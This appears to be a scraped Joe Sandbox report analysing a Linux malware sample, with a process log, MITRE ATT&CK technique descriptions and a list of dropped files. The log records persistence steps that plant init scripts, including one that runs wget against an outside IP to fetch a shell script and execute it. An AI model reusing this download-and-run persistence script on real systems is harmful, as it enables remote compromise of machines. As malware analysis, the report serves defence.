Start date (UTC):	24/12/2024
Path:	/tmp/x86_32.nn.elf
Arguments:	-
File size:	79312 bytes
MD5 hash:	3f1efbfbb79821f4bd17c6a3eff17aa6

Start time (UTC):	09:42:48
Start date (UTC):	24/12/2024
Path:	/bin/sh
Arguments:	sh -c "chmod +x /etc/init.d/system >/dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	09:42:48
Start date (UTC):	24/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	09:42:48
Start date (UTC):	24/12/2024
Path:	/usr/bin/chmod
Arguments:	chmod +x /etc/init.d/system
File size:	63864 bytes
MD5 hash:	739483b900c045ae1374d6f53a86a279

Start time (UTC):	09:42:48
Start date (UTC):	24/12/2024
Path:	/tmp/x86_32.nn.elf
Arguments:	-
File size:	79312 bytes
MD5 hash:	3f1efbfbb79821f4bd17c6a3eff17aa6

Start time (UTC):	09:42:48
Start date (UTC):	24/12/2024
Path:	/bin/sh
Arguments:	sh -c "ln -s /etc/init.d/system /etc/rcS.d/S99system >/dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	09:42:48
Start date (UTC):	24/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	09:42:48
Start date (UTC):	24/12/2024
Path:	/usr/bin/ln
Arguments:	ln -s /etc/init.d/system /etc/rcS.d/S99system
File size:	76160 bytes
MD5 hash:	e933cf05571f62c0157d4e2dfcaea282

Start time (UTC):	09:42:48
Start date (UTC):	24/12/2024
Path:	/tmp/x86_32.nn.elf
Arguments:	-
File size:	79312 bytes
MD5 hash:	3f1efbfbb79821f4bd17c6a3eff17aa6

Start time (UTC):	09:42:48
Start date (UTC):	24/12/2024
Path:	/bin/sh
Arguments:	sh -c "echo \"#!/bin/sh\n# /etc/init.d/sh\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting sh'\n /bin/sh &\n wget http://94.156.227.233/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping sh'\n killall sh\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start\|stop\|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/sh"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	09:42:48
Start date (UTC):	24/12/2024
Path:	/tmp/x86_32.nn.elf
Arguments:	-
File size:	79312 bytes
MD5 hash:	3f1efbfbb79821f4bd17c6a3eff17aa6

Start time (UTC):	09:42:48
Start date (UTC):	24/12/2024
Path:	/bin/sh
Arguments:	sh -c "chmod +x /etc/init.d/sh >/dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	09:42:48
Start date (UTC):	24/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	09:42:48
Start date (UTC):	24/12/2024
Path:	/usr/bin/chmod
Arguments:	chmod +x /etc/init.d/sh
File size:	63864 bytes
MD5 hash:	739483b900c045ae1374d6f53a86a279

Start time (UTC):	09:42:48
Start date (UTC):	24/12/2024
Path:	/tmp/x86_32.nn.elf
Arguments:	-
File size:	79312 bytes
MD5 hash:	3f1efbfbb79821f4bd17c6a3eff17aa6

Start time (UTC):	09:42:48
Start date (UTC):	24/12/2024
Path:	/bin/sh
Arguments:	sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	09:42:48
Start date (UTC):	24/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	09:42:48
Start date (UTC):	24/12/2024
Path:	/usr/bin/mkdir
Arguments:	mkdir -p /etc/rc.d
File size:	88408 bytes
MD5 hash:	088c9d1df5a28ed16c726eca15964cb7

Start time (UTC):	09:42:48
Start date (UTC):	24/12/2024
Path:	/tmp/x86_32.nn.elf
Arguments:	-
File size:	79312 bytes
MD5 hash:	3f1efbfbb79821f4bd17c6a3eff17aa6

Start time (UTC):	09:42:48
Start date (UTC):	24/12/2024
Path:	/bin/sh
Arguments:	sh -c "ln -s /etc/init.d/sh /etc/rc.d/S99sh >/dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	09:42:48
Start date (UTC):	24/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	09:42:48
Start date (UTC):	24/12/2024
Path:	/usr/bin/ln
Arguments:	ln -s /etc/init.d/sh /etc/rc.d/S99sh
File size:	76160 bytes
MD5 hash:	e933cf05571f62c0157d4e2dfcaea282

Start time (UTC):	09:42:48
Start date (UTC):	24/12/2024
Path:	/tmp/x86_32.nn.elf
Arguments:	-
File size:	79312 bytes
MD5 hash:	3f1efbfbb79821f4bd17c6a3eff17aa6

Start time (UTC):	09:42:48
Start date (UTC):	24/12/2024
Path:	/tmp/x86_32.nn.elf
Arguments:	-
File size:	79312 bytes
MD5 hash:	3f1efbfbb79821f4bd17c6a3eff17aa6

Start time (UTC):	09:42:47
Start date (UTC):	24/12/2024
Path:	/usr/lib/udisks2/udisksd
Arguments:	-
File size:	483056 bytes
MD5 hash:	1d7ae439cc3d82fa6b127671ce037a24

Start time (UTC):	09:42:47
Start date (UTC):	24/12/2024
Path:	/usr/sbin/dumpe2fs
Arguments:	dumpe2fs -h /dev/dm-0
File size:	31112 bytes
MD5 hash:	5c66f7d8f7681a40562cf049ad4b72b4

Start time (UTC):	09:42:47
Start date (UTC):	24/12/2024
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Start time (UTC):	09:42:47
Start date (UTC):	24/12/2024
Path:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
Arguments:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File size:	22760 bytes
MD5 hash:	3633b075f40283ec938a2a6a89671b0e

Start time (UTC):	09:42:48
Start date (UTC):	24/12/2024
Path:	/usr/lib/udisks2/udisksd
Arguments:	-
File size:	483056 bytes
MD5 hash:	1d7ae439cc3d82fa6b127671ce037a24

Start time (UTC):	09:42:48
Start date (UTC):	24/12/2024
Path:	/usr/sbin/dumpe2fs
Arguments:	dumpe2fs -h /dev/dm-0
File size:	31112 bytes
MD5 hash:	5c66f7d8f7681a40562cf049ad4b72b4

Start time (UTC):	09:42:48
Start date (UTC):	24/12/2024
Path:	/usr/lib/udisks2/udisksd
Arguments:	-
File size:	483056 bytes
MD5 hash:	1d7ae439cc3d82fa6b127671ce037a24

Start time (UTC):	09:42:48
Start date (UTC):	24/12/2024
Path:	/usr/sbin/dumpe2fs
Arguments:	dumpe2fs -h /dev/dm-0
File size:	31112 bytes
MD5 hash:	5c66f7d8f7681a40562cf049ad4b72b4

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may establish persistence through executing malicious commands triggered by a user’s shell. User Unix Shell s execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system ( `/etc` ) and the user’s home directory ( `~/` ) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user’s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Creation, File: File Modification, Process: Process Creation
Platforms:	Linux, macOS
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. Systemd is a system and service manager commonly used for managing background daemon processes (also known as services) and other system resources.Systemd is the default initialization (init) system on many Linux distributions replacing legacy init systems, including SysVinit and Upstart, while remaining backwards compatible.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Creation, File: File Modification, Process: Process Creation, Service: Service Creation, Service: Service Modification
Platforms:	Linux
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Tactics:	Defense Evasion
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may insert, delete, or manipulate data in order to influence external outcomes or hide activity, thus threatening the integrity of the data. By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making.
Tactics:	Impact
Data Sources:	File: File Creation, File: File Deletion, File: File Metadata, File: File Modification, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report x86_32.nn.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/boot/bootcmd

/etc/init.d/sh

/etc/init.d/system

/etc/inittab

/etc/motd

/etc/profile

/etc/rc.local

/etc/systemd/system/custom.service

/memfd:snapd-env-generator (deleted)

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

System Behavior

Analysis Process: x86_32.nn.elf PID: 5444, Parent PID: 5368

General

Chronological Activities

Analysis Process: x86_32.nn.elf PID: 5454, Parent PID: 5444

General

Chronological Activities

Analysis Process: sh PID: 5454, Parent PID: 5444

General

Linux Analysis Report
x86_32.nn.elf